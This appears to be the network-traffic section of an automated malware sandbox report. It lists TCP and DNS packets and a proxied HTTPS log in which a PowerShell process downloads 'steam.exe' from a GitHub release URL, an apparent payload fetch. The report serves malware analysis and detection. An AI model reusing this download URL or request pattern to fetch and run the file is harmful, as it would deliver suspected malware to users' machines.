Jun 4, 2024 13:41:08.417510986 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.417516947 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.417536020 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.417643070 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.417654991 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.417716026 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.417722940 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.417769909 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.417785883 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.417834044 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.417839050 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.417923927 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.417934895 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.417974949 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.417980909 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.418065071 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.418080091 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.418107033 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.418112040 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.418134928 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.418178082 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.418195009 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.418225050 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.418230057 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.418251038 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.418350935 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.418366909 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.418395996 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.418401003 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.418425083 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.418473959 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.418486118 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.418539047 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.418545008 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.418637991 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.418656111 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.418683052 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.418689013 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.418706894 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.418783903 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.418797016 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.418843031 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.418848991 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.418910027 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.418925047 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.418951988 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.418956995 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.418968916 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.419085026 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.419096947 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.419126987 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.419131041 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.419146061 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.419190884 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.419207096 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.419233084 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.419239044 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.419251919 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.419428110 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.419440031 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.419481993 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.419487953 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.419600010 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.419615030 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.419660091 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.419660091 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.419667959 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.419683933 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.419888020 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.419900894 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.420238972 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.420254946 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.420411110 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.420422077 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.420429945 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.420444012 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.420453072 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.420471907 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.420569897 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.420586109 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.420643091 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.420650005 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.420866013 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.420881987 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.420923948 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.420931101 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.420944929 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.421241999 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.421262980 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.421294928 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.421302080 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.421314001 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.421693087 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.421710968 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.421742916 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.421747923 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.421760082 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.421776056 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.421789885 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.421832085 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.421839952 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.421852112 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.422050953 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.422071934 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.422105074 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.422110081 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.422132969 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.422308922 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.422329903 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.422364950 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.422384977 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.422396898 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.422641039 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.422661066 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.422696114 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.422703028 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.422723055 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.422841072 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.422861099 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.422903061 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.422909975 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.423060894 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.423082113 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.423116922 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.423121929 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.423145056 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.423471928 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.423484087 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.423523903 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.423530102 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.423542976 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.423871994 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.423887968 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.423921108 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.423927069 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.423957109 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.423979998 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.423991919 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.424031019 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.424036980 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.424065113 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.424177885 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.424195051 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.424283981 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.424283981 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.424290895 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.424376965 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.424387932 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.424423933 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.424431086 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.424444914 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.424778938 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.424796104 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.424834013 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.424839973 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.424861908 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.425183058 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.425193071 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.425231934 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.425237894 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.425250053 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.425465107 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.425479889 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.425512075 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.425518036 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.425540924 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.425852060 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.425867081 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.425900936 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.425906897 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.425929070 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.426393032 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.426409960 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.426444054 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.426449060 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.426476002 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.426635027 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.426650047 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.426687956 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.426695108 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.426712990 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.427009106 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.427023888 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.427061081 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.427067041 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.427093029 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.427227974 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.427241087 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.427282095 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.427289963 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.427304983 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.427465916 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.427566051 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.427598953 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.427613020 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.427651882 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.427658081 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.427671909 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.427764893 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.427779913 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.427856922 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.427865028 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.428092957 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.428107977 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.428162098 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.428169012 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.428237915 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.428255081 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.428289890 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.428296089 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.428320885 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.428385019 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.428396940 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.428452969 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.428452969 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.428461075 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.428509951 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.428531885 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.428563118 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.428569078 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.428584099 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.428661108 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.428688049 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.428690910 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.428705931 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.428744078 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.428750992 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.428766012 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.428852081 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.428868055 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.428900957 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.428908110 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.428932905 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.429042101 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.429059982 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.429105997 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.429112911 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.429127932 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.429363966 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.429378986 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.429420948 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.429426908 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.429442883 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.429621935 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.429635048 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.429686069 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.429694891 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.429874897 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.429892063 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.429929972 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.429936886 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.429949999 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.429956913 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.430001020 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.430007935 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.430030107 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.430069923 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.430330038 CEST	49732	443	192.168.2.4	185.199.110.133

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jun 4, 2024 13:41:05.027652979 CEST	52278	53	192.168.2.4	1.1.1.1
Jun 4, 2024 13:41:05.039120913 CEST	53	52278	1.1.1.1	192.168.2.4
Jun 4, 2024 13:41:06.329958916 CEST	62389	53	192.168.2.4	1.1.1.1
Jun 4, 2024 13:41:06.337516069 CEST	53	62389	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jun 4, 2024 13:41:05.027652979 CEST	192.168.2.4	1.1.1.1	0x7074	Standard query (0)	github.com	A (IP address)	IN (0x0001)	false
Jun 4, 2024 13:41:06.329958916 CEST	192.168.2.4	1.1.1.1	0x3459	Standard query (0)	objects.githubusercontent.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jun 4, 2024 13:41:05.039120913 CEST	1.1.1.1	192.168.2.4	0x7074	No error (0)	github.com		140.82.121.4	A (IP address)	IN (0x0001)	false
Jun 4, 2024 13:41:06.337516069 CEST	1.1.1.1	192.168.2.4	0x3459	No error (0)	objects.githubusercontent.com		185.199.110.133	A (IP address)	IN (0x0001)	false
Jun 4, 2024 13:41:06.337516069 CEST	1.1.1.1	192.168.2.4	0x3459	No error (0)	objects.githubusercontent.com		185.199.108.133	A (IP address)	IN (0x0001)	false
Jun 4, 2024 13:41:06.337516069 CEST	1.1.1.1	192.168.2.4	0x3459	No error (0)	objects.githubusercontent.com		185.199.111.133	A (IP address)	IN (0x0001)	false
Jun 4, 2024 13:41:06.337516069 CEST	1.1.1.1	192.168.2.4	0x3459	No error (0)	objects.githubusercontent.com		185.199.109.133	A (IP address)	IN (0x0001)	false
Jun 4, 2024 13:41:23.992185116 CEST	1.1.1.1	192.168.2.4	0x4c5b	No error (0)	fp2e7a.wpc.2be4.phicdn.net	fp2e7a.wpc.phicdn.net		CNAME (Canonical name)	IN (0x0001)	false
Jun 4, 2024 13:41:23.992185116 CEST	1.1.1.1	192.168.2.4	0x4c5b	No error (0)	fp2e7a.wpc.phicdn.net		192.229.221.95	A (IP address)	IN (0x0001)	false
Jun 4, 2024 13:41:37.017641068 CEST	1.1.1.1	192.168.2.4	0x3f2f	No error (0)	fp2e7a.wpc.2be4.phicdn.net	fp2e7a.wpc.phicdn.net		CNAME (Canonical name)	IN (0x0001)	false
Jun 4, 2024 13:41:37.017641068 CEST	1.1.1.1	192.168.2.4	0x3f2f	No error (0)	fp2e7a.wpc.phicdn.net		192.229.221.95	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

github.com

objects.githubusercontent.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49731	140.82.121.4	443	7324	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-04 11:41:05 UTC	105	OUT	GET /tarzanre/myrepo/releases/download/a/steam.exe HTTP/1.1 Host: github.com Connection: Keep-Alive
2024-06-04 11:41:06 UTC	994	IN	HTTP/1.1 302 Found Server: GitHub.com Date: Tue, 04 Jun 2024 11:41:06 GMT Content-Type: text/html; charset=utf-8 Vary: X-PJAX, X-PJAX-Container, Turbo-Visit, Turbo-Frame, Accept-Encoding, Accept, X-Requested-With Location: https://objects.githubusercontent.com/github-production-release-asset-2e65be/672232730/d6a03019-07cf-4d6d-ad93-77d112cc61d1?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=releaseassetproduction%2F20240604%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20240604T114106Z&X-Amz-Expires=300&X-Amz-Signature=0c3e0f644161a8dc3bf62bb7d99a54823e87ce0d99b2b33952c96ac71daec4b0&X-Amz-SignedHeaders=host&actor_id=0&key_id=0&repo_id=672232730&response-content-disposition=attachment%3B%20filename%3Dsteam.exe&response-content-type=application%2Foctet-stream Cache-Control: no-cache Strict-Transport-Security: max-age=31536000; includeSubdomains; preload X-Frame-Options: deny X-Content-Type-Options: nosniff X-XSS-Protection: 0 Referrer-Policy: no-referrer-when-downgrade
2024-06-04 11:41:06 UTC	3021	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 53 65 63 75 72 69 74 79 2d 50 6f 6c 69 63 79 3a 20 64 65 66 61 75 6c 74 2d 73 72 63 20 27 6e 6f 6e 65 27 3b 20 62 61 73 65 2d 75 72 69 20 27 73 65 6c 66 27 3b 20 63 68 69 6c 64 2d 73 72 63 20 67 69 74 68 75 62 2e 63 6f 6d 2f 61 73 73 65 74 73 2d 63 64 6e 2f 77 6f 72 6b 65 72 2f 20 67 69 73 74 2e 67 69 74 68 75 62 2e 63 6f 6d 2f 61 73 73 65 74 73 2d 63 64 6e 2f 77 6f 72 6b 65 72 2f 3b 20 63 6f 6e 6e 65 63 74 2d 73 72 63 20 27 73 65 6c 66 27 20 75 70 6c 6f 61 64 73 2e 67 69 74 68 75 62 2e 63 6f 6d 20 77 77 77 2e 67 69 74 68 75 62 73 74 61 74 75 73 2e 63 6f 6d 20 63 6f 6c 6c 65 63 74 6f 72 2e 67 69 74 68 75 62 2e 63 6f 6d 20 72 61 77 2e 67 69 74 68 75 62 75 73 65 72 63 6f 6e 74 65 6e 74 2e 63 6f 6d 20 61 70 69 2e 67 69 74 68 75 62 2e Data Ascii: Content-Security-Policy: default-src 'none'; base-uri 'self'; child-src github.com/assets-cdn/worker/ gist.github.com/assets-cdn/worker/; connect-src 'self' uploads.github.com www.githubstatus.com collector.github.com raw.githubusercontent.com api.github.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49732	185.199.110.133	443	7324	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-04 11:41:06 UTC	585	OUT	GET /github-production-release-asset-2e65be/672232730/d6a03019-07cf-4d6d-ad93-77d112cc61d1?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=releaseassetproduction%2F20240604%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20240604T114106Z&X-Amz-Expires=300&X-Amz-Signature=0c3e0f644161a8dc3bf62bb7d99a54823e87ce0d99b2b33952c96ac71daec4b0&X-Amz-SignedHeaders=host&actor_id=0&key_id=0&repo_id=672232730&response-content-disposition=attachment%3B%20filename%3Dsteam.exe&response-content-type=application%2Foctet-stream HTTP/1.1 Host: objects.githubusercontent.com Connection: Keep-Alive
